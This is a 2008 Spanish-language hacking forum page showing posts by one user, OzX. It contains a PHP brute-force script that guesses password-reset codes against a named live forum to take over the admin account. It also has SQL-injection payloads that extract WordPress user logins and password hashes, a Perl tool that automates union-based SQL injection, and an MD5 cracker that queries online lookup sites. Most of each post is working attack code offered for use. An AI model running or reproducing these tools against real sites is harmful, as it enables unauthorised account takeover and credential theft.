curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($curl, CURLOPT_AUTOREFERER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$html = curl_exec($curl);
curl_close($curl);
return $html;
}

function suma($code){
$suma = 0;
for ($x=0;$x<strlen($code);$x++){
$var = substr($code,$x,1);
if (!is_numeric($var)){
$suma +=hexdec($var);
}else{
$suma +=$var;
}
}
return $suma;
}


$mail =  $argv[1];

$host = "http://spamavert.com/";
$url = $host."/mail.php?alias=".$mail."&showIndex=1";
preg_match_all("/(mail\.php\?alias=.*&amp;ixMail=(\d*))'\"/", GET($url), $datos,  PREG_SET_ORDER); //**


for ($x=0;$x<count($datos);$x++){
$webs[] = preg_replace('/amp;/',"", $host.$datos[$x][1],1);
}
echo "[+] Mails :> ".count($webs)."\n";

foreach ($webs as $web){
preg_match_all("/code=(\w{10})\"/", GET($web), $datos,  PREG_SET_ORDER);
$valor = $datos[0][1];
echo $datos[0][1]." ".suma($valor)."\n";
}



?>


Ahora Bien lo que me Generaba En Pantalla Era:

Cita de: Codigos
9a4db8e017 77
d66a2d9181 69
e5debd2f3f 105
90fa036d6f 77
eb0fbdc58d 102
6d4b289f1e 83
a86aaeae39 94
5f911c7831 62
f67a96358a 79
12c484b448 58
1863121fbe 62
0a5d48fa55 75
fa95611eb1 73
9179662329 54
ac421d0a80 60
e1d8e03d21 69
1d2613c7fa 70
f3e72d0a70 71
5de4e72164 70
e6bb3c5aa4 86
e88a33ebd3 87


Mostraba Todos los Codigos de Reseteos, Pero eran Invalidos, porque una vez Que se vuelve a Enviar otro, el anterior ya no sirve.

Talvez se Preguntaran ¿ y ese Codigo Que esta al Costado?

e88a33ebd3 87

Pues es la "Super" Ciencia que deduje XD¡

Como Son solo Valores Hexadecimales, todos esos Tienen un Valor Numerico.

Código:
a=10;
b=11;
c=12;
d=13;
e=14;
f=15;

Por lo Cual e88a33ebd3 Si lo Descuartizamos, Seria

14+8+8+10+3+3+14+11+13+3 = 87 ¡


Por lo Cual Dije Uhm¡¡¡¡ Tengo mi Primer patron¡

Todos los Codigos Equivalen a su valor Numerico, Por lo Cual, si veo cual se Repite mas dentro de unas Determinadas Peticiones podria Obtener el Codigo Valido¡

Obtuve mil Codigos Validos , Para Obtener Algun patron y lo Que Obtuve fue que Habia un rango de Numeros que se Repetia Bastante, 70-79

Agrupe todos los Codigos en Secciones de 10

Citar
e1d8e03d21 69
1d2613c7fa 70
f3e72d0a70 71
5de4e72164 70
e6bb3c5aa4 86
e88a33ebd3 87
204c05b93b 57
f3e72d0a70 71
5de4e72164 70
e6bb3c5aa4 86

Citar
67074ecc6a 78
5b43ba896d 80
9c1a28d22d 72
24cba618c5 71
a22b423ee8 70
14f1cd9a80 73
311432ef28 53
b878399cf4 86
f5811f35ed 80
481abc32d6 70

En Conclusion, Cada 10 Peticiones Existen "SIEMPRE" Valores que Rodean 70-79

Ahora Bien para Comprovar Esto, Sume todos los Valores Que dan los Codigos, y Saque el Promedio, el Cual Magicamente Resulto en 75


Nuevamente Concluimos, Si Hacemos 10 Peticiones, y Provamos Con todas las combinaciones Posibles que den una Suma entre 70-79, o Cada 20 o 30 Peticiones de Mails, Provamos con las combinaciones posibles que sumen 75.


Por lo Cual Existira la Posibilidad, de que Obtengamos el Codigo que Genero el Server para Resetear el  Codigo del Administrador.


¿Entonces que nececitamos?

Si Deseamos Todas las Posibilidades, Tenemos que Obtener todas las combinaciones Posibles que Sumen 75, y hacer de 15 a 20 o 30 peticiones de Mail.

Codigo Que Genera  Numeros que Su Suma Sea el Valor que Nosotros queramos (echo make_code(75))

Código:
function make_code($limit){
do{
$var = "";
for ($x=1;$x<=10;$x++){
$rand = rand(0,15);
$var.=dechex($rand);
}
}while(suma($var) != $limit);
return $var;
}


Scripts Para Generar 2000 Codigos Que Sumen 75:

Código:
<?
function suma($code){
$suma = 0;
for ($x=0;$x<strlen($code);$x++){
$var = substr($code,$x,1);
if (!is_numeric($var)){
$suma +=hexdec($var);
}else{
$suma +=$var;
}
}
return $suma;
}

function make_code($limit){
do{
$var = "";
for ($x=1;$x<=10;$x++){
$rand = rand(0,15);
$var.=dechex($rand);
}
}while(suma($var) != $limit);
return $var;
}
################################################
$myFile = "db3.txt";
$fh = fopen($myFile, 'w') or die("can't open file");
$code = array("");
$rep = array("");
for ($x=1;$x<=20000;$x++){
$var = make_code(75);
if (!in_array ($var, $code)){
echo $x." : ".$var."\n";
$code[] = $var;
fwrite($fh, $var."\n");
}else{
echo "ERROR :> ".$var."\n";
$rep[]=$var;
}
}
fclose($fh);
echo count($code)."\n";
echo count($rep)."\n";
?>

Ahora bien en esta Parte fue en donde REMARCO CON ROJO RESET ADMIN PASSWORD TEORIA
Obtuve una Cantidad de casi 10.000 Codigos Que suman 75 sin ningun repetido¡, por lo cual si realizamos nuestra "Conclusión", serian 10.000.00 Peticiones y como Minimo ¡ Porque no Sabemos Cuantas combinaciones mas Podria Generar la Suma Solamente de 75¡.

Pero es Mucho Menor que el billon de posibilidades que daba un hexadecimal de 10 digitos.

Talves Sea Posible Pero es mas posible que Dosee Primero el Servidor, Que Obtener Algun Resultado

Codigo Que con una Base de Datos Comprueba Si el Codigo es Valido:

Código:
<?
function POST($code){
$curl = curl_init();

$url = "http://password.esp.am/index.php?action=reminder;sa=setpassword2 ";
$post = "passwrd1=12345&passwrd2=12345&code=".$code."&u=1&sc=022add0f601aa2f12569aa6ad95fe1bd";

$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
$header[] = "Cache-Control: max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 300";
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: en-us,en;q=0.5";
$header[] = "Pragma: ";
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($curl, CURLOPT_AUTOREFERER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
$result= curl_exec ($curl);
curl_close ($curl);

if (preg_match("/<b>Password successfully set<\/b>/", $result)) {
echo "PassWord Cambiada ".$code."\n";
}else{
echo "ERROR\n";
}

}

$code = file("db2.txt");
foreach ($code as $value){
POST($value);
}

?>



donde db2.txt, es el txt con todas las combinaciones, claramente se puede utilizar mysql.


Testie Por Ultimo 30 Codigos que yo se que eran invalidos y 1 codigo valido y para mi sorpresa, sep, Funciona, Nada mas jawjawjaj Tendremos que Obtener el Codigo Valido.



Recalco Es Teoria, pero me entretuve bastante


Saludos¡
OzX
www.undersecurity.net
8  Seguridad Informática / Nivel Web / SOLUCIONADO ¿Como Selecionar Una BD Distinta Con "USE", en una Inyeccion SQL? en: 19 Diciembre 2008, 23:05 pm
Hi¡
Bueno, al grano
Tengo una web que tiene muchas base de datos (gracias a information schema schemata).
Llamemosla

db1
db2
db3
db4

La web trabaja con al db1, por lo cual si yo hago algun

Código:
union+select+all+1,2,campo_que_no_existe,3+from+tabla.

me saldria
Table 'db1.campo_que_no_existe' doesn't exist


Ahora bien yo tengo las tablas y los campos de todas las base de datos, gracias al information schema (again XD').

Pero si yo intento hacer una consulta me dice que no existe la tabla ni el campo ni nada, pues claro estoy intentando hacer una peticion a la db2, pero esta por defecto las hace a las db1.


ahora bien leyendo y preguntando, descrubri el "USE DB", que sirve para selecionar una base de datos y luego hacer la consulta.

http://dev.mysql.com/doc/refman/5.0/es/use.html

Por EJ
Código:
mysql> USE db1;
mysql> SELECT COUNT(*) FROM mytable;   # selects from db1.mytable
mysql> USE db2;
mysql> SELECT COUNT(*) FROM mytable;   # selects from db2.mytable


MI Problema es¡¡¡

¿Como C"·$%&/? Combino la Sentencia USE en una Inyeccion SQL?


Asi no Funciona (Aunque Cambie el valor de la db a char o hexsql o dejo asi para que se entienda mejor)
and+1=0+union+select+all+1,2,3+from+wp_users+use+wordpress_cri

o... tampoco
and+1=0++use+wordpress_cri+and+union+select+all+1,2,3+from+wp_users


Espero que me puedan Ayudar :D

Saludos¡
OzX¡

concat(user_login,user_pass) <= CAMPOS
wordpres.cri <= db
wp_users <= tabla de la db
EDITADO LO LOGRE¡
+and+1=0+union+select+all+1,2,3,concat(user_login,user_pass),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+wordpress_cri.wp_users

:d



9  Seguridad Informática / Nivel Web / DataExtract database(),user(),version() By OzX en: 28 Septiembre 2008, 01:06 am
Hi.
Lo que hace es Extraer la Informacion de database(), user(), y version() de la mysql, sin la nececidad de indicar en que parte mostrar los datos.

En realidad es una Funcion de una Tool para Injecciones SQL que estoy haciendo, y me parecio interesante compartirla.

Comunmente, en las tools de SQL, se tiene que indicar en donde injectar la Informacion por Ej.

.../noticias.php?id=1+and+1=0+1,2,3,4,AQUI,5,6,7

Lo cual este Script Hace, es encontrar ese "numero" de los campos, automaticamente para luego buscar la informacion.

SAludos¡



Código:
use LWP::UserAgent;

use HTTP::Request::Common;

#by OzX [NuKe/NB/UnderSecurity]
#DataExtract
#Extrator de Informacion Desde la Base de Datos, Usuario, BD, y Version.
$browser = LWP::UserAgent->new();

$browser->timeout(10);

$browser->default_header(

"User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1",

"Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",

"Accept-Language" => "es-es,es;q=0.8,en-us;q=0.5,en;q=0.3",

"Referer" => "http://www.google.com"

);


use constant URL => $ARGV[0]; #Constante URL.

unless ($ARGV[0]) {
print "Coded By OzX\n Extractor de Informacion database(),User(),version(), Para Mysql\n";
print "Uso Ejemplo : Script.pl www.google.com/noticias?id=15+and+1=0+1,2,3,4,5,6,7,8--\n";
print "\n";
   exit 0;
}

($uri,$sql_num) = URL =~ m{(.*)\+(.*)$}g; #Obtener Valores 1,2,3,4,5..
($db,$user,$version) = detalles_bd($sql_num);


print "[+] Nombre BD : > $db\n[+] Usuario BD : > $user\n[+] Verion BD : > $version\n";


#Funcion Que Obtiene la Informacion de la Base de Datos
sub detalles_bd{
$_[0] = sql_num($sql_num);
$vars = numero($sql_num);
$string_datos_db = 'concat(0x55534e42,database(),0x3A,user(),0x3A,version(),0x55534e42)';
$sql_num =~s/$vars/$string_datos_db/;
$url = $uri."+".$sql_num;
$source = GETS($url);
($db,$user,$version) = $source =~ m{USNB(.*):(.*):(.*)USNB}g;
return ($db,$user,$version);
}

#Funcion para Evitar Problemas XD¡.
sub sql_num{
$num_total = split(",",$_[0]);
for ($x=1;$x<=$num_total;$x++){
$sql_num_correcto = $sql_num_correcto."$x,";
}
chop($sql_num_correcto);
return $sql_num_correcto;
}

#Funcion para Obtener los Numeros De la Inyeccion Base
sub numero{
local $sql_num = $_[0];
$sql_num = split(",",$sql_num); #Total de Valores, Sin Importar si Empieza de 0.
for ($x=1;$x<=$sql_num;$x++){
$url_hex = $url_hex.hex_sql("USNB$x").",";
}
chop($url_hex); #Eliminamos la Ultima ,
$url_inject = $uri."+".$url_hex."--"; #FORMAMOS LA URL
$source_url_hex = GETS($url_inject);#SOURCE
( @match_USNB) = $source_url_hex =~ m{USNB(\d+)}g; #ENCONTRAMOS VALORES
$vars =  @match_USNB[int(rand( @match_USNB))]; #Eligimos 1 al azar $$
return $vars;
}

#Funcion GETS
sub GETS{
return  $browser->request(GET $_[0])->content;
}
#Funcion Hex_SQL
sub hex_sql($) {
(my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;return "0x$str";
}


10  Programación / Scripting / MultiCracker 0.1 MD5 en: 5 Septiembre 2008, 01:40 am
MultiCracker Md5 0.1
http://www.nullbytes.net/multicracker-md5-01/

Dentro del Marco del Hacking, muchas veces nos encontramos con hash en md5 que deseamos descifrar, y vamos a las Web mas conocidas en busca si existe en sus bases de datos la contraseña en cuestión.

Y como siempre es bueno ahorrar tiempo, desarrolle una tool que busca en las 6 Web que mejor resultados me dieron.

http://www.hashfind.info
http://md5decrypter.com
http://gdataonline.com
http://md5.hashcracking.com
http://milw0rm.com
http://md5search.org






Código
  1. use LWP::UserAgent;
  2. use HTTP::Request::Common;
  3. use HTTP::Cookies;
  4.  
  5. # By OzX NULLBYTES.net
  6. ### BASE DE LAS PETICIONES ##############################################################################################
  7. $browser = LWP::UserAgent->new();
  8. $browser->timeout(10);
  9. $browser->default_header(
  10.  
  11. "User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1",
  12. "Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
  13. "Accept-Language" => "es-es,es;q=0.8,en-us;q=0.5,en;q=0.3",
  14. "Referer" => "http://www.google.com"
  15. );
  16.  
  17. #################################################################FUNCION GET Y POST
  18. sub GETS{@code = split("\n",$content = $browser->request(GET $_[0])->content);return @code;}
  19. sub POSTS{@code = split("\n",$content = $browser->request(POST $_[0], [%{$_[1]}])->content);return @code};
  20. ###############################################################################
  21. $hash = $ARGV[0];
  22. unless ($ARGV[0]) {
  23. print "MULTICRACKER 0.1 BY OZX www.nullbytes.net \nCrackNB.pl <hash>\n";
  24. print "CrackNB.pl 202cb962ac59075b964b07152d234b70\n\n";
  25.   exit 0;
  26. }
  27. ########################################################
  28. %webs = ('0' => "http://md5decrypter.com",
  29. '1' => "http://gdataonline.com",
  30. '2' => "http://md5.hashcracking.com",
  31. '3' => "http://milw0rm.com",
  32. '4' => "http://md5search.org",);
  33.  
  34. ###PETICIONES ####################################
  35. if ($hash =~/\w{32}/){
  36. hashfind($hash);
  37. for($i=0;$i<5;$i++){
  38. $pid = fork();
  39.  
  40. if( $pid == 0 ){
  41.      print $webs{$i}.":> ".md5($i)."\n";
  42.   exit 0;
  43.                }
  44.                            }
  45. }else{
  46. print "[+] HASH INVALIDO\n";
  47. }
  48. #################################################
  49. #LA WEB http://www.hashfind.info TIENE UN SISTEMA BASADO EN COOKIES PARA MOSTRAR EL HASH ,
  50. #ES POR ELLO QUE NO PUDE IMPLEMENTARLO DENTRO DE  LAS OTRAS FUNCIONES
  51. # TAMBIEN TAMPOCO PUDE IMPLEMENTARLO DENTRO DEL FORK.
  52. sub hashfind{
  53. $hash = $_[0];
  54. ###  COOKIE PARA http://www.hashfind.info <=  ¬¬
  55. $browser->cookie_jar(HTTP::Cookies->new(file => "cookie_hash.txt", autosave => 1));
  56. @code = POSTS("http://www.hashfind.info/",{hash => $hash, button => Search});
  57. @codex = GETS("http://www.hashfind.info/get.php?type=0 ");
  58. print "http://www.hashfind.info :> @codex\n";
  59. }
  60.  
  61. sub md5{
  62. $id=$_[0];
  63. $cracker[0]= crack_post($webs{$id},{hash => $hash, submit => Decrypt%21 },$hash,'.*Normal.*<\/b>','.*this hash wasn.*') ;
  64. $cracker[1]= crack_get($webs{$id}."/qkhash.php?mode=txt&hash=",$hash,'.*><b>','<\/b><.*','.*\?',"<\/td><\/tr>");
  65. $cracker[2]= crack_get($webs{$id}."/search.php?md5=",$hash,".*is ");
  66. $cracker[3]= crack_post($webs{$id}."/cracker/search.php",{hash => $hash, Submit => Submit },$hash,"<\/TD><TD align=\"middle\" nowrap=\"nowrap\" width=90>cracked.*",".*<TR class=\"submit\">.*nowrap=\"nowrap\" width=90>");
  67. $cracker[4]= crack_post($webs{$id}."/index.php",{hash => $hash , server => all ,token => md5s , tryb => search, submit =>MD5Search%28%29},"<font.*size=\"-1\">.*nbsp",".*class=\"wyniksz\">","<\/font><\/td><\/tr><\/table><\/td><\/tr><\/table>.*p>","<\/font><\/td><\/tr>");
  68.  
  69. return $cracker[$id];
  70. }
  71.  
  72. sub crack_post{
  73. ($url,$data,$match,@reg1) = @_;
  74. @code = POSTS($url,$data);
  75. for $linea (@code){
  76. if ($linea=~/$match/i){
  77. for $reg (@reg1){
  78. $linea=~s/$reg//;
  79. }
  80.  
  81. return $linea;
  82. }
  83.  
  84. }
  85. }
  86.  
  87. sub crack_get{
  88. ($url,$hash,@reg1) = @_;
  89. @code = GETS($url.$hash);
  90. for $linea (@code){
  91. if ($linea=~/$hash/i){
  92. for $reg (@reg1){
  93. $linea=~s/$reg//;
  94.  
  95. }
  96. return $linea;
  97. }
  98. }
  99. }
  100.  

Ideas Sugerencias :D Bienvenidas
www.nullbytes.net¡
http://www.nullbytes.net/multicracker-md5-01/
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines